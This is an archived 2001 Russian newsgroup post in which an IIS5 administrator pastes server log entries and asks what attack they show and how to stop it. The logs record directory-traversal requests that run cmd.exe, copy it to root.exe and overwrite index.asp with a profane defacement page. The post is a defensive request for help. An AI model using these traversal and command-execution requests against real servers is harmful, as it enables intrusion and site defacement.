ru.internet.security
- RU.INTERNET.SECURITY ---------------------------------------------------------
From : Boris V.Kharitonov 2:5020/400 14 May 2001 11:17:11
To : All
Subject : Что это за тип атаки?
--------------------------------------------------------------------------------
Привет All
Сабж! W2k+SP1+IIS5.
------------------------------------------
2001-05-12 13:57:51 203.228.240.19 - 212.164.101.33 80 GET
/scripts/../../winnt/system32/cmd.exe /c+dir 200 -
2001-05-12 13:57:54 203.228.240.19 - 212.164.101.33 80 GET
/scripts/../../winnt/system32/cmd.exe /c+dir+..\ 200 -
2001-05-12 13:57:57 203.228.240.19 - 212.164.101.33 80 GET
/scripts/../../winnt/system32/cmd.exe
/c+copy+\winnt\system32\cmd.exe+root.exe 502 -
2001-05-12 13:58:00 203.228.240.19 - 212.164.101.33 80 GET /scripts/root.exe
/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>
^<table+width%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%
3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center%22^>^<f
ont+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align%3D%22center%22
^>^<font+size%3D4+color%3Dred^>contact:sysadmcn@yahoo.com.cn^</html^>>.././i
ndex.asp 502 -
-----------------------------------------
Как бороться?
Борис
--- ifmail v.2.15dev5
* Origin: Rinet Corp. News Service, Novosibirsk, Russia (2:5020/400)
Вернуться к списку тем, сортированных по: возрастание даты уменьшение даты тема автор
|
